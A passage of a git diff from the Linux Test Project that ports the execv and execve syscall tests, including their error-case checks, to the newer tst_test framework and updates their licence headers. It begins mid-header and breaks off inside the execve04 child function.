+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
+
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <errno.h>
@@ -40,46 +27,26 @@
 #include <stdlib.h>
 #include <string.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-static void setup(void);
-
-char *TCID = "execv01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_execv(void)
 {
-	int lc;
 	pid_t pid;
 	char *const args[] = { "execv01_child", "canary", NULL};
-	char path[2048];
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
+	char path[512];
 
 	if (tst_get_path("execv01_child", path, sizeof(path)))
-		tst_brkm(TCONF, NULL, "Couldn't find execv01_child in $PATH");
+		tst_brk(TCONF, "Couldn't find execv01_child in $PATH");
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		switch (pid = FORK_OR_VFORK()) {
-		case 0:
-			execv(path, args);
-			tst_brkm(TFAIL | TERRNO, NULL,
-			         "Failed to execute execv01_child");
-		case -1:
-			tst_brkm(TBROK, NULL, "fork failed");
-		default:
-			tst_record_childstatus(NULL, pid);
-		}
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		TEST(execv(path, args));
+		tst_brk(TFAIL | TERRNO, "Failed to execute execv01_child");
 	}
-
-	tst_exit();
 }
 
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, NULL);
-
-	TEST_PAUSE;
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.test_all = verify_execv,
+};
diff --git a/testcases/kernel/syscalls/execv/execv01_child.c b/testcases/kernel/syscalls/execv/execv01_child.c
index 7f4a0aa..307810c 100644
--- a/testcases/kernel/syscalls/execv/execv01_child.c
+++ b/testcases/kernel/syscalls/execv/execv01_child.c
@@ -1,40 +1,39 @@
 /*
- * Copyright (C) 2015 Cyril Hrubis chrubis@suse.cz
+ * Copyright (c) 2018 Linux Test Project
+ * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ *    AUTHOR		: William Roske
+ *    CO-PILOT		: Dave Fenner
+ *    DATE STARTED	: 06/01/02
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-#include "test.h"
-
-char *TCID = "execv01_child";
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
 
 int main(int argc, char *argv[])
 {
+	tst_reinit();
+
 	if (argc != 2)
-		tst_brkm(TFAIL, NULL, "argc is %d, expected 2", argc);
+		tst_brk(TFAIL, "argc is %d, expected 2", argc);
 
-	if (strcmp(argv[1], "canary")) {
-		tst_brkm(TFAIL, NULL, "argv[1] is %s, expected 'canary'",
-		         argv[1]);
-	}
+	if (strcmp(argv[1], "canary"))
+		tst_brk(TFAIL, "argv[1] is %s, expected 'canary'", argv[1]);
 
-	tst_resm(TPASS, "%s executed", argv[0]);
-	tst_exit();
+	tst_res(TPASS, "%s executed", argv[0]);
+
+	return 0;
 }
diff --git a/testcases/kernel/syscalls/execve/.gitignore b/testcases/kernel/syscalls/execve/.gitignore
new file mode 100644
index 0000000..50cabbb
--- /dev/null
+++ b/testcases/kernel/syscalls/execve/.gitignore
@@ -0,0 +1,7 @@
+/execve01
+/execve01_child
+/execve02
+/execve03
+/execve04
+/execve05
+/execve_child
diff --git a/testcases/kernel/syscalls/execve/execve01.c b/testcases/kernel/syscalls/execve/execve01.c
index c849473..c342eba 100644
--- a/testcases/kernel/syscalls/execve/execve01.c
+++ b/testcases/kernel/syscalls/execve/execve01.c
@@ -1,86 +1,60 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
+ * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *    AUTHOR		: William Roske
  *    CO-PILOT		: Dave Fenner
  *    DATE STARTED	: 06/01/02
- * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
+
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
+#include <stdio.h>
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-static void setup(void);
+#define IPC_ENV_VAR "LTP_IPC_PATH"
 
-char *TCID = "execve01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_execve(void)
 {
-	int lc;
 	pid_t pid;
 	char *const args[] = {"execve01_child", "canary", NULL};
-	char *const env[] = {"LTP_TEST_ENV_VAR=test", NULL};
-	char path[2048];
+	char path[512];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	char ipc_env_var[1024];
+	sprintf(ipc_env_var, IPC_ENV_VAR "=%s", getenv(IPC_ENV_VAR));
 
-	setup();
+	char *const envp[] = { "LTP_TEST_ENV_VAR=test", ipc_env_var, NULL };
 
 	if (tst_get_path("execve01_child", path, sizeof(path)))
-		tst_brkm(TCONF, NULL, "Couldn't find execve01_child in $PATH");
+		tst_brk(TCONF, "Couldn't find execve01_child in $PATH");
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		switch (pid = FORK_OR_VFORK()) {
-		case 0:
-			execve(path, args, env);
-			tst_brkm(TFAIL | TERRNO, NULL,
-			         "Failed to execute execl01_child");
-		case -1:
-			tst_brkm(TBROK, NULL, "fork failed");
-		default:
-			tst_record_childstatus(NULL, pid);
-		}
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		execve(path, args, envp);
+		tst_brk(TFAIL | TERRNO, "Failed to execute execl01_child");
 	}
-
-	tst_exit();
 }
 
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, NULL);
-
-	TEST_PAUSE;
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.test_all = verify_execve,
+};
diff --git a/testcases/kernel/syscalls/execve/execve01_child.c b/testcases/kernel/syscalls/execve/execve01_child.c
index f529fb8..0ebfaa8 100644
--- a/testcases/kernel/syscalls/execve/execve01_child.c
+++ b/testcases/kernel/syscalls/execve/execve01_child.c
@@ -1,55 +1,49 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
  * Copyright (C) 2015 Cyril Hrubis chrubis@suse.cz
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-#include "test.h"
-
-char *TCID = "execl01_child";
+#define TST_NO_DEFAULT_MAIN
+#include <stdlib.h>
+#include "tst_test.h"
 
 int main(int argc, char *argv[])
 {
 	char *env;
 
-	if (argc != 2)
-		tst_brkm(TFAIL, NULL, "argc is %d, expected 2", argc);
+	tst_reinit();
 
-	if (strcmp(argv[1], "canary")) {
-		tst_brkm(TFAIL, NULL, "argv[1] is %s, expected 'canary'",
-		         argv[1]);
-	}
+	if (argc != 2)
+		tst_brk(TFAIL, "argc is %d, expected 2", argc);
+
+	if (strcmp(argv[1], "canary"))
+		tst_brk(TFAIL, "argv[1] is %s, expected 'canary'", argv[1]);
 
 	env = getenv("LTP_TEST_ENV_VAR");
 
 	if (!env)
-		tst_brkm(TFAIL, NULL, "LTP_TEST_ENV_VAR is missing");
+		tst_brk(TFAIL, "LTP_TEST_ENV_VAR is missing");
 
-	if (strcmp(env, "test")) {
-		tst_brkm(TFAIL, NULL, "LTP_TEST_ENV_VAR='%s', expected test",
-		         env);
-	}
+	if (strcmp(env, "test"))
+		tst_brk(TFAIL, "LTP_TEST_ENV_VAR='%s', expected test", env);
 
 	if (getenv("PATH"))
-		tst_brkm(TFAIL, NULL, "PATH is in environment");
+		tst_brk(TFAIL, "PATH is in environment");
 
-	tst_resm(TPASS, "%s executed", argv[0]);
-	tst_exit();
+	tst_res(TPASS, "%s executed", argv[0]);
+
+	return 0;
 }
diff --git a/testcases/kernel/syscalls/execve/execve02.c b/testcases/kernel/syscalls/execve/execve02.c
index dddbfbc..5b2a3a2 100644
--- a/testcases/kernel/syscalls/execve/execve02.c
+++ b/testcases/kernel/syscalls/execve/execve02.c
@@ -1,23 +1,23 @@
 /*
- * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) 2018 Linux Test Project
  * Copyright (c) 2015 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) International Business Machines  Corp., 2001
  *
  *  07/2001 Ported by Wayne Boyer
  *  21/04/2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com)
  *
- * This program is free software;  you can redistribute it and/or modify
+ * This program is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
+ * the Free Software Foundation, either version 2 of the License, or
  * (at your option) any later version.
  *
  * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
  * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
@@ -31,94 +31,71 @@
 #endif
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/wait.h>
 #include <errno.h>
-#include <libgen.h>
 #include <pwd.h>
 #include <stdio.h>
+#include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
 
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "execve02";
-int TST_TOTAL = 1;
+#include "tst_test.h"
 
 #define TEST_APP "execve_child"
 #define USER_NAME "nobody"
 
-static void setup(void);
-static void cleanup(void);
-
 static uid_t nobody_uid;
 
 static void do_child(void)
 {
 	char *argv[2] = {TEST_APP, NULL};
 
-	SAFE_SETEUID(NULL, nobody_uid);
+	SAFE_SETEUID(nobody_uid);
 
-	TEST(execve(TEST_APP, argv, NULL));
+	/* Use environ:
+	 *     Inherit a copy of parent's environment
+	 *     for tst_reinit() in execve_child.c
+	 */
+	TEST(execve(TEST_APP, argv, environ));
 
-	if (!TEST_RETURN)
-		tst_brkm(TFAIL, NULL, "execve() passed unexpectedly");
+	if (!TST_RET)
+		tst_brk(TFAIL, "execve() passed unexpectedly");
 
-	if (TEST_ERRNO != EACCES) {
-		tst_brkm(TFAIL | TTERRNO, NULL,
-		         "execve() failed unexpectedly");
-	}
+	if (TST_ERR != EACCES)
+		tst_brk(TFAIL | TERRNO, "execve() failed unexpectedly");
 
-	tst_resm(TPASS | TTERRNO, "execve() failed expectedly");
-	tst_exit();
+	tst_res(TPASS | TERRNO, "execve() failed expectedly");
+
+	exit(0);
 }
 
-int main(int ac, char **av)
+static void verify_execve(void)
 {
-	int lc;
-	pid_t pid;
+	pid_t pid = SAFE_FORK();
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		if ((pid = FORK_OR_VFORK()) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "fork failed");
-
-		if (pid == 0)
-			do_child();
-
-		tst_record_childstatus(cleanup, pid);
-	}
-
-	cleanup();
-	tst_exit();
+	if (pid == 0)
+		do_child();
 }
 
 static void setup(void)
 {
-	char path[PATH_MAX];
 	struct passwd *pwd;
 
-	tst_require_root();
+	SAFE_CHMOD(TEST_APP, 0700);
 
-	if (tst_get_path(TEST_APP, path, sizeof(path))) {
-		tst_brkm(TBROK, NULL,
-		         "Couldn't found "TEST_APP" binary in $PATH");
-	}
-
-	tst_tmpdir();
-
-	SAFE_CP(tst_rmdir, path, ".");
-	SAFE_CHMOD(cleanup, TEST_APP, 0700);
-
-	pwd = SAFE_GETPWNAM(tst_rmdir, USER_NAME);
+	pwd = SAFE_GETPWNAM(USER_NAME);
 	nobody_uid = pwd->pw_uid;
 }
 
-void cleanup(void)
-{
-	tst_rmdir();
-}
+static const char *const resource_files[] = {
+	TEST_APP,
+	NULL,
+};
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.setup = setup,
+	.resource_files = resource_files,
+	.test_all = verify_execve,
+};
diff --git a/testcases/kernel/syscalls/execve/execve03.c b/testcases/kernel/syscalls/execve/execve03.c
index 15b575d..0cb8699 100644
--- a/testcases/kernel/syscalls/execve/execve03.c
+++ b/testcases/kernel/syscalls/execve/execve03.c
@@ -1,20 +1,22 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ *  21/04/2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com)
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
@@ -49,22 +51,13 @@
  *	6.	Attempt to execve(2) a zero length file with executable
  *		permissions - fails with ENOEXEC.
  *
- * USAGE:  <for command-line>
- *  execve03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
  * HISTORY
  *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	test #5 will fail with ETXTBSY not EACCES if the test is run as root
  */
 
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
 #include <sys/types.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
@@ -72,141 +65,95 @@
 #include <fcntl.h>
 #include <pwd.h>
 #include <stdio.h>
+#include <unistd.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
-char *TCID = "execve03";
-int fileHandle = 0;
+static char nobody_uid[] = "nobody";
+static struct passwd *ltpuser;
+static char long_fname[] = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyz";
+static char no_dir[] = "testdir";
+static char test_name3[1024];
+static char test_name5[1024];
+static char test_name6[1024];
 
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-#ifndef UCLINUX
-void *bad_addr = NULL;
-#endif
-
-void setup(void);
-void cleanup(void);
-
-char long_file[] =
-    "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyz";
-char no_dir[] = "testdir";
-char test_name3[1000];
-char test_name5[1000];
-char test_name6[1000];
-
-struct test_case_t {
-	char *tname;		/* the command name to pass to execve() */
+static struct tcase {
+	char *tname;
 	int error;
-} TC[] = {
+} tcases[] = {
 	/* the file name is greater than VFS_MAXNAMELEN - ENAMTOOLONG */
-	{
-	long_file, ENAMETOOLONG},
-	    /* the filename does not exist - ENOENT */
-	{
-	no_dir, ENOENT},
-	    /* the path contains a directory name which doesn't exist - ENOTDIR */
-	{
-	test_name3, ENOTDIR},
-#if !defined(UCLINUX)
-	    /* the filename isn't part of the process address space - EFAULT */
-	{
-	(char *)-1, EFAULT},
-#endif
-	    /* the filename does not have execute permission - EACCES */
-	{
-	test_name5, EACCES},
-	    /* the file is zero length with execute permissions - ENOEXEC */
-	{
-	test_name6, ENOEXEC}
+	{long_fname, ENAMETOOLONG},
+	/* the filename does not exist - ENOENT */
+	{no_dir, ENOENT},
+	/* the path contains a directory name which doesn't exist - ENOTDIR */
+	{test_name3, ENOTDIR},
+	/* the filename isn't part of the process address space - EFAULT */
+	{NULL, EFAULT},
+	/* the filename does not have execute permission - EACCES */
+	{test_name5, EACCES},
+	/* the file is zero length with execute permissions - ENOEXEC */
+	{test_name6, ENOEXEC}
 };
 
-int TST_TOTAL = ARRAY_SIZE(TC);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(execve(TC[i].tname, av, NULL));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error)
-				tst_resm(TPASS | TTERRNO,
-					 "execve failed as expected");
-			else
-				tst_resm(TFAIL | TTERRNO,
-					 "execve failed unexpectedly; expected "
-					 "%d - %s",
-					 TC[i].error, strerror(TC[i].error));
-		}
-	}
-	cleanup();
-
-	tst_exit();
-}
-
-void setup(void)
+static void setup(void)
 {
 	char *cwdname = NULL;
+	unsigned i;
 	int fd;
 
-	tst_require_root();
-
 	umask(0);
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	ltpuser = SAFE_GETPWNAM(nobody_uid);
 
-	TEST_PAUSE;
+	SAFE_SETGID(ltpuser->pw_gid);
 
-	ltpuser = SAFE_GETPWNAM(NULL, nobody_uid);
+	cwdname = SAFE_GETCWD(cwdname, 0);
 
-	SAFE_SETGID(NULL, ltpuser->pw_gid);
+	sprintf(test_name5, "%s/fake", cwdname);
 
-	tst_tmpdir();
+	fd = SAFE_CREAT(test_name5, 0444);
+	SAFE_CLOSE(fd);
 
-	cwdname = SAFE_GETCWD(cleanup, cwdname, 0);
-
-	sprintf(test_name5, "%s/fake.%d", cwdname, getpid());
-
-	fileHandle = SAFE_CREAT(cleanup, test_name5, 0444);
-
-	sprintf(test_name3, "%s/fake.%d", test_name5, getpid());
+	sprintf(test_name3, "%s/fake", test_name5);
 
 	/* creat() and close a zero length file with executeable permission */
-	sprintf(test_name6, "%s/execve03.%d", cwdname, getpid());
+	sprintf(test_name6, "%s/execve03", cwdname);
 
-	fd = SAFE_CREAT(cleanup, test_name6, 0755);
-	fd = SAFE_CLOSE(cleanup, fd);
-#ifndef UCLINUX
-	bad_addr = SAFE_MMAP(cleanup, NULL, 1, PROT_NONE,
-			     MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	TC[3].tname = bad_addr;
-#endif
+	fd = SAFE_CREAT(test_name6, 0755);
+	SAFE_CLOSE(fd);
+
+	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
+		if (!tcases[i].tname)
+			tcases[i].tname = tst_get_bad_addr(NULL);
+	}
 }
 
-void cleanup(void)
+static void verify_execve(unsigned int i)
 {
-#ifndef UCLINUX
-	SAFE_MUNMAP(NULL, bad_addr, 1);
-#endif
-	SAFE_CLOSE(NULL, fileHandle);
+	struct tcase *tc = &tcases[i];
+	char *argv[2] = {tc->tname, NULL};
 
-	tst_rmdir();
+	TEST(execve(tc->tname, argv, NULL));
 
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "call succeeded unexpectedly");
+		return;
+	}
+
+	if (TST_ERR == tc->error) {
+		tst_res(TPASS | TTERRNO, "execve failed as expected");
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO, "execve failed unexpectedly; expected %s",
+		strerror(tc->error));
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_execve,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.child_needs_reinit = 1,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/execve/execve04.c b/testcases/kernel/syscalls/execve/execve04.c
index 7847470..e3138f2 100644
--- a/testcases/kernel/syscalls/execve/execve04.c
+++ b/testcases/kernel/syscalls/execve/execve04.c
@@ -1,23 +1,23 @@
 /*
- * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) 2018 Linux Test Project
  * Copyright (c) 2015 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) International Business Machines  Corp., 2001
  *
  *  07/2001 Ported by Wayne Boyer
  *  04/2008 Roy Lee <roylee@andestech.com>
  *
- * This program is free software;  you can redistribute it and/or modify
+ * This program is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
+ * the Free Software Foundation, either version 2 of the License, or
  * (at your option) any later version.
  *
  * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
  * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
@@ -34,98 +34,56 @@
 #include <fcntl.h>
 #include <libgen.h>
 #include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
 #define TEST_APP "execve_child"
 
-char *TCID = "execve04";
-int TST_TOTAL = 1;
-
-static void setup(void);
-static void cleanup(void);
 static void do_child(void);
 
-int main(int ac, char **av)
+static void verify_execve(void)
 {
-	int lc;
 	pid_t pid;
 	char *argv[2] = {TEST_APP, NULL};
-	char *env[1] = {NULL};
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	pid = SAFE_FORK();
+	if (pid == 0)
+		do_child();
 
-#ifdef UCLINUX
-	maybe_run_child(&do_child, "");
-#endif
+	TST_CHECKPOINT_WAIT(0);
 
-	setup();
+	TEST(execve(TEST_APP, argv, environ));
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork failed");
-		} else if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(av[0], "") < 0)
-				tst_brkm(TBROK, cleanup, "self_exec failed");
-#else
-			do_child();
-#endif
-		}
+	if (TST_ERR != ETXTBSY)
+		tst_res(TFAIL | TTERRNO, "execve succeeded, expected failure");
+	else
+		tst_res(TPASS | TTERRNO, "execve failed as expected");
 
-		TST_SAFE_CHECKPOINT_WAIT(cleanup, 0);
-
-		TEST(execve(TEST_APP, argv, env));
-
-		if (TEST_ERRNO != ETXTBSY)
-			tst_resm(TFAIL | TTERRNO, "execve succeeded, expected failure");
-		else
-			tst_resm(TPASS | TTERRNO, "execve failed as expected");
-
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-		SAFE_WAIT(cleanup, NULL);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-void setup(void)
-{
-	char path[PATH_MAX];
-
-	if (tst_get_path(TEST_APP, path, sizeof(path))) {
-		tst_brkm(TBROK, NULL,
-		         "Couldn't found "TEST_APP" binary in $PATH");
-	}
-
-	tst_tmpdir();
-
-	TST_CHECKPOINT_INIT(tst_rmdir);
-
-	SAFE_CP(tst_rmdir, path, ".");
-}
-
-static void cleanup(void)
-{
-	tst_rmdir();
+	TST_CHECKPOINT_WAKE(0);
 }
 
 static void do_child(void)
 {
-	int fd;
+	int fd = SAFE_OPEN(TEST_APP, O_WRONLY);
 
-#ifdef UCLINUX
-	TST_CHECKPOINT_INIT(NULL);
-#endif
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
